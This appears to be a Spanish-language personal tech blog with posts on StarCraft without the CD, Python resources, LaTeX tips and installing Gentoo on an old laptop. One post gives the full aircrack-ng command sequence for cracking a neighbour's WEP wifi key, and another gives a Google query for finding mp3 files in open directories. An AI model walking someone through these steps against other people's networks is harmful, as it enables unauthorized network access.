Mostrando entradas con la etiqueta howto. Mostrar todas las entradas
Mostrando entradas con la etiqueta howto. Mostrar todas las entradas

jueves 20 de marzo de 2008

HOWTO install StarCraft NOCD

According to this technical note at Blizzard.com, it's official: "StarCraft and StarCraft: BroodWar no longer require the CD while playing the game."

No cracks, keygens or unofficial patches needed. The only cons is that you need to copy the installer file, that is almost 600 MB long. (But who cares about half a GB nowadays?)

These are 3 easy steps to do it:
  1. Install StarCraft Patch 1.15.2.
    It is officially available at the "Starcraft Patch Information" page. Just download the executable and run it.
  2. Copy the installer executable to the game's folder and rename it.
    On Windows: Copy "INSTALL.EXE" from the StarCraft CD to the folder where you've installed the game and rename it as "StarCraft.mpq". (You may need to disable file extension hiding in Folder options.) Same for StarCraft: Brood War: Copy this game's "INSTALL.EXE" to the folder where you've installed it and rename it as "BroodWar.mpq".
    On Mac: Copy "StarCraft Archive" from the StarCraft CD to your StarCraft folder. For StarCraft: Brood War: You may also copy "Brood War Archive" to the same folder.
  3. Enjoy playing StarCraft without CD!

This information was very useful to me while trying to bring back good old times of RTS gaming after many years of dull university life. Hehehe...

jueves 31 de enero de 2008

Python Essentials

Hace casi exactamente 2 meses que aprendí Python y desde entonces vengo trabajando en una web application que promete ser un web service aggregator muy interesante.

A continuación una serie de links fundamentales para todo py-developer:


  • El tutorial que debería ser el primero de toda persona que aprenda Python: Python Tutorial by Guido van Rossum


  • Tutoriales más avanzados: Dive into Python


  • ¿Python Argentina? ¡PyAr!


  • Para referencia rápida, resulta útil tener en el browser un "Python Documentation" search engine. De hecho, Python Documentation es un punto de partida para todas las APIs.


  • ¿Por qué Python es tan potente? Por ejemplo, porque es muy fácil hacer un OOP dynamic proxy.


  • ¿Por qué Python es tan potente? (bis) Puede ser interpretado por ejemplo con ipython, lo cual es sumamente útil a la hora de probar nuevos códigos o hacer testing y debugging de funciones, como si programaras "on-the-fly".


  • ¿Qué tan difícil es instalar módulos de Python?: "Easy Install is a python module (easy_install) bundled with setuptools that lets you automatically download, build, install, and manage Python packages."


  • "El" framework para proyectos web de Python es Pylons: "Pylons combines the very best ideas from the worlds of Ruby, Python and Perl, providing a structured but extremely flexible Python web framework. It's also one of the first projects to leverage the emerging WSGI standard, which allows extensive re-use and flexibility — but only if you need it. Out of the box, Pylons aims to make web development fast, flexible and easy."


  • Como herramienta de desarrollo de aplicaciones web está Paster: "Python Paste brings consistency to Python web development and web application installation, providing tools for both developers and system administrators."


  • Para los que buscan alternativas a la forma en que se suelen mezclar lenguajes como PHP, ASP y JSP en medio de HTML: Mako templates


  • Tutorial básico para manejar forms en Pylons: Form Handling


  • Un módulo para Python que hace trivial la validación de formularios: FormEncode Validation


  • Un ORM que si bien todavía está bastante verde me sorprendió, es Elixir: "Elixir is a declarative layer on top of the SQLAlchemy library. It is a fairly thin wrapper, which provides the ability to create simple Python classes that map directly to relational database tables (this pattern is often referred to as the Active Record design pattern), providing many of the benefits of traditional databases without losing the convenience of Python objects."


  • Una librería de procesamiento de imágenes que hace de todo: PIL


  • Algunos módulos de Python son un "Swiss Army knife" para el programador: feedparser, htmllib, re, datetime, beautifulsoup, routes, etc.


  • Y aunque no sea de Python: Una librería que lleva al Javascript a un nivel de expresividad muy superior (y en especial en cuanto a manejo del DOM, uso de Json y AJAX, animaciones y efectos visuales, aspectos de lenguajes funcionales, eventos, etc.): Mootools


sábado 29 de diciembre de 2007

¿Se puede pinchar una red inalámbrica con clave WEP?

Gracias a este artículo de SmallNetBuilder sobre WEP Cracking, hoy pude comprobar que se puede crackear la clave WEP (Wired Equivalent Privacy) para conectarse a una red inalámbrica. O dicho para que lo entienda mi abuela, si tu vecino tiene una conexión a Internet por wifi que nunca pudiste usar porque desconocés la clave de acceso WEP, es posible averiguarla sin mayor dificultad.

El único requisito (además de tener una placa de red inalámbrica adecuada y encontrar una red wifi de tales características, con al menos un cliente que se conecte cada tanto), es instalar el paquete aircrack-ng. En Ubuntu Linux, esto se puede hacer desde el gestor Synaptics o con:
sudo apt-get install aircrack-ng

Básicamente los comandos que tuve que correr son:
# PRIMERO: MODO MONITOR
# Para poner el adaptador wireless en modo monitor:
# (ath0 y wifi0 dependen del adaptador)
airmon-ng stop ath0
airmon-ng start wifi0
# SEGUNDO: CAPTURAR PAQUETES
# Para empezar a capturar paquetes de cualquier Access Point (AP) y
# registrar los vectores de inicialización (IVs) necesarios para el cracking:
airodump-ng --ivs --write capturefile ath0
# Con esto se averiguan 3 datos a utilizar luego: Número del canal,
# BSSID del Access Point y BSSID de un cliente asociado.
# Para capturar paquetes sólo del AP deseado:
airodump-ng --ivs --channel [número del canal] --bssid [BSSID del Access Point] --write capturefile ath0
# TERCERO: ACELERAR CAPTURA
# Para acelerar la captura de paquetes generando tráfico ARP:
# (Hay que llegar a muchos #Data, al menos 300.000)
aireplay-ng --arpreplay -b [BSSID del Access Point] -h [BSSID del cliente asociado al AP] ath0
# CUARTO: CRACK
# Una vez registrados suficientes IVs, usarlos para crackear la clave del AP
aircrack-ng -b [BSSID del Access Point] capturefile*.ivs
# Encontrada la clave se puede ingresar como hexadecimal (sin los ":")
# al intentar conectarse a la red wireless en cuestión.

Esto es sólo un resumen para mostrar con sólo 4 comandos del paquete aircrack (y casi ningún conocimiento de redes inalámbricas), se puede crackear la clave WEP del Access Point. Para mayores detalles, recomiendo el artículo que mencioné antes.

Ahora que sabés cómo crackear la clave WEP de una red inalámbrica, no hagas nada ilegal. Este artículo es de interés técnico: Ahora sabés que se puede robar la conexión a una red inalámbrica con clave WEP así como se pincha el teléfono y la televisión por cable.

viernes 28 de septiembre de 2007

Algunos tips útiles para LaTeX

Para escribir con tildes y tener separación de sílabas en español

Entre los paquetes incluidos agregar:

\usepackage[latin1]{inputenc}
\usepackage[spanish]{babel}

Para usar gráficos EPS escalados al ancho del texto

Entre los paquetes incluidos agregar:

\usepackage[dvips]{epsfig}
\usepackage{graphics}
\def\epsfsize#1#2{\textwidth}

Y luego para poner un grafico EPS:

\begin{figure}
\begin{center}
\epsffile{../graficos/frec_relativa.eps}
\caption{Frecuencias relativas del experimento.}
\label{fig:frec_relativa}
\end{center}
\end{figure}

Para usar la plantilla de artículo de la AMS

Cambiar la clase de documento a:

\documentclass[a4paper,10pt]{amsart}

Para poner la bibliografía

\begin{thebibliography}{}
\bibitem[Matthews-Fink, 2003]{Matthews-Fink} Mathews, J. H. y
Fink, K. D. (2003), \emph{Métodos numéricos con MATLAB}.
3a edición. Prentice Hall.
\end{thebibliography}

Para renombrar "Cuadro", "Abstract", "Referencias" y otros

Luego del comienzo del documento (\begin{document}) agregar alguno de estos:

\renewcommand{\figurename}{Figura}
\renewcommand{\abstractname}{Resumen}
\renewcommand{\refname}{Bibliografía}
\renewcommand{\tablename}{Tabla}
\renewcommand{\languagename}{}
\renewcommand{\figurename}{Figura \thefigure} % útil para beamer
\renewcommand{\tablename}{Tabla \thetable} % útil para beamer

Para hacer presentaciones de diapositivas

Cambiar la clase de documento a:

\documentclass{beamer}

sábado 18 de agosto de 2007

Instalando Gentoo Linux en una Compaq Presario 1255 - Parte 3

Siguiendo con el recuento de la instalación de Gentoo que hice en una laptop Compaq Presario 1255, llegó el momento de instalar en disco el sistema de base como se indica en la Capítulo 5 y 6 del manual de instalación del Gentoo Handbook.

Antes que nada es importante tener la fecha bien puesta o de lo contrario algunas instalaciones pueden fallar. Verificarlo ejecutando date. Para cambiarla hay que ejecutar el mismo comando con un parámetro de fecha escrita en formato mes-día-hora-minutos-año (todo con 2 dígitos salvo por el año que son 4). O para más información consultar man date. Por ejemplo:

# date 081822502007

Para instalar el sistema de base, tuve que bajar el stage3 ya que esta instalación fue a partir de un Knoppix. No tuve a mano un LiveCD y menos para la arquitectura i586 del microprocesador AMD K6 II que trae la Compaq Presario 1255.

Knoppix maneja DHCP a través del servicio pump. Esta información me bastó para arreglármelas con mi conexión al cablemodem de Fibertel, la placa PCMCIA 3Com EtherLink III que traía esta laptop y la auto-configuración que hace el Knoppix de ella con el cardmgr. Por cualquier duda, los DNS servers de Fibertel son (para poner en /etc/resolv.conf):

# Generated by dhcpcd for interface eth1
nameserver 200.49.156.8
nameserver 200.49.156.3
nameserver 200.49.156.7
nameserver 172.20.2.12

Para ver la configuración de las interfaces de red activas se puede correr ifconfig, y para probar la conexión a Internet se puede hacer un ping gentoo.org. Todo esto me funcionó bastante automáticamente con el Knoppix como para que pueda navegar por Internet con el links (web browser para consola). Toda esta parte es muy dependiente de cada situación particular de conexión a Internet o a alguna intranet así que hasta aquí llega mi ayuda.

Antes de seguir, conviene posicionarse en la ruta donde fue montada la partición principal del disco rígido:

# cd /mnt/gentoo

Ahora hay que bajar 2 archivos (y sus correspondientes sumas de verificación para chequear su integridad con md5sum -c ...):
stage3-i586-200?.?.tar.bz2
portage-latest.tar.bz2
(donde ? es el número más alto disponible y i586 se refiere a la arquitectura del microprocesador AMD K6 II que tiene la laptop en cuestión.)

Se puede utilizar el links para elegir un mirror de donde bajarlos:

# links http://www.gentoo.org/main/en/mirrors.xml

Para descomprimir ambos tarballs:

# tar xvjpf stage3-*.tar.bz2
# tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr

Finalmente, hay que personalizar las opciones de compilación para el Portage:

# nano -w /mnt/gentoo/etc/make.conf

# Please consult /etc/make.conf.example for a more detailed example
CFLAGS="-march=i586 -O2 -pipe"
CHOST="i586-pc-linux-gnu"
CXXFLAGS="${CFLAGS}"
MAKEOPTS="-j2"
ACCEPT_KEYWORDS=""
USE="X .............." # Consultar Gentoo wiki para personalizar esta línea
VIDEO_CARDS="via"
INPUT_DEVICES="keyboard mouse"
ALSA_CARDS="via82xx"
PORTDIR_OVERLAY=/usr/local/portage
LINGUAS="es_AR es en"
SYNC="rsync://rsync.samerica.gentoo.org/gentoo-portage"
GENTOO_MIRRORS="ftp://mirrors.localhost.net.ar/pub/mirrors/gentoo "



Instalando Gentoo en Compaq 1255 - Parte 2

Como decía en otro post, estuve instalando un Gentoo Linux en una Compaq Presario 1255 (AMD K6 II 233 MHz) a partir de un Knoppix Live CD.

Al momento de particionar el disco (Parte 4 del Gentoo Handbook), se puede utilizar una herramienta mucho más amigable que el clásico fdisk.

# cfdisk /dev/hda

La funcionalidad es la misma pero es interactivo y muestra las opciones posibles sin tener que saberlas de memoria.

Yo borré todas las particiones, y utilicé el típico esquema de tres particiones: boot, swap y principal. Otros esquemas pueden ser mejores para otros casos. Finalmente las particiones quedaron así:

# fdisk -l /dev/hda

Disco /dev/hda: 4327 MB, 4327464960 bytes
240 cabezas, 63 sectores/pista, 559 cilindros
Unidades = cilindros de 15120 * 512 = 7741440 bytes

Disposit. Inicio Comienzo Fin Bloques Id Sistema
/dev/hda1 * 1 4 30208+ 83 Linux
/dev/hda2 5 70 498960 82 Linux swap / Solaris
/dev/hda3 71 559 3696840 83 Linux



Luego comprobé que se podría haber utilizado menos espacio para la partición de arranque hda1 pero no es un cambio muy importante.

Para formatear las tres particiones:

# mke2fs /dev/hda1
# mke2fs -j /dev/hda3
# mkswap /dev/hda2

Hice ext3 la tercera partición para que tenga journaling, cosa que no hace falta en la partición de arranque /dev/hda1 (ext2). La partición de swap se utiliza para el swapping en el multi-tasking y no necesita más que un mkswap, aunque para activarla hay que ejecutar:

# swapon /dev/hda2


Finalmente, se montan las otras dos particiones al Virtual File System que
maneja el Knoppix para poder proseguir con la instalación en el disco rígido.

# mount /dev/hda3 /mnt/gentoo
# mkdir /mnt/gentoo/boot
# mount /dev/hda1 /mnt/gentoo/boot

Conclusión: Salvo por el uso de cfdisk, la etapa de particionamiento del disco en la instalación de Gentoo que hice siguió las directivas del Handbook.

En la próxima, les cuento cómo me fue con la configuración de la red, la instalación del "stage3 tarball" y el Portage y la personalización del make.conf.

viernes 10 de agosto de 2007

Tip para buscar música en Google

Tip para buscar música en Google:

-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +mp3 "The Beatles"

Probalo con esta Búsqueda Google.

Más tips en esta entrada de blog: "7 Clever Google Tricks Worth Knowing".

miércoles 16 de mayo de 2007

Instalando Gentoo Linux en una vieja laptop Compaq Presario - Parte I

Todo empezó cuando me pasaron una vieja laptop Compaq Presario 1255. Y digo vieja porque las capacidades son:
  • Procesador AMD K6-II 333 MHz (con 512 KB L2 Pipeline Burst Cache)
  • Memoria RAM de 32 MB (SyncDRAM)
  • Disco rígido de 4.0 GB
  • Pantalla 12.1" HPA Display
  • Placa de red PCMCIA 3Com EtherLink III
  • Touchpad, Disquetera de 3.5", Lectora de CD-ROM 24X, Modem, Puerto USB, etc.
Venía con el Windows 98 pre-instalado. La pregunta era: ¿Qué me conviene tener en esta laptop?
  • El Windows 98 ya funcionaba bastante lento, y sin tener demasiadas cosas en memoria. También, con todo el software que haría falta, ocupaba bastante disco rígido.
  • Es bien sabido que Windows 98 se quedó en el tiempo. (No por nada Microsoft lo discontinuó y ya no presta soporte técnico ni actualizaciones de seguridad para Windows 98. Esto lo hace MUY vulnerable. De hecho, Windows XP es continuación del Windows NT que fue re-escrito desde cero, como Dios manda, como leí alguna vez en el libro de Sistemas Operativos de Tanenbaum & Woodhull.)
  • Tener Windows NT o 2000 no consumiría menos resursos. Ni hablar XP o Vista.
"So, Bill, you're not gonna have my laptop. So sorry..."
La alternativa: Linux.

Según me habían contado, existe una distribución de Linux que funciona muy bien como LiveCD. Es decir que detecta todo el hardware automáticamente y carga todo el sistema operativo (incluyendo el entorno gráfico KDE), sin escribir nada en el disco rígido, todo desde el CD y usando la memoria. Al apagar la PC y sacar el CD, todo sigue como si nunca hubiésemos probado Linux. ¡Es buenísimo!

Esta distibución es Knoppix. Realmente me sorprendió lo bien que funciona. La recomiendo para todo el que quiera probar Linux, sin tocar un pelo de su sistema.

Después de explorar Knoppix un poco (principalmente enterarme de qué dispositivos de hardware tiene la laptop exactamente), empecé la instalación de un Linux en serio. El primer tip que descubrí para "bootear" rápido sin cargar KDE es ingresar, en la línea de comandos de boot (donde normalmente uno presionaría Enter directamente):
fb800x600 2
Esto permite quedarse en una terminal por línea de comandos, con una resolución de 800x600 acorde a la pantalla de esta laptop. Para más opciones de boot, "press F2 or F3".

He probado varias distribuciones de Linux (bah, no muchas), y siempre me gustó Gentoo. De hecho, en la documentación oficial de Gentoo una de las alternativas es instalar esta distribución a partir de un Knoppix. Esto nos permite saltar a la parte 4 del manual de instalación de Gentoo.

La próxima les cuento cómo me fue con el "re-particionado" del disco rígido y la instalación base del Gentoo Linux.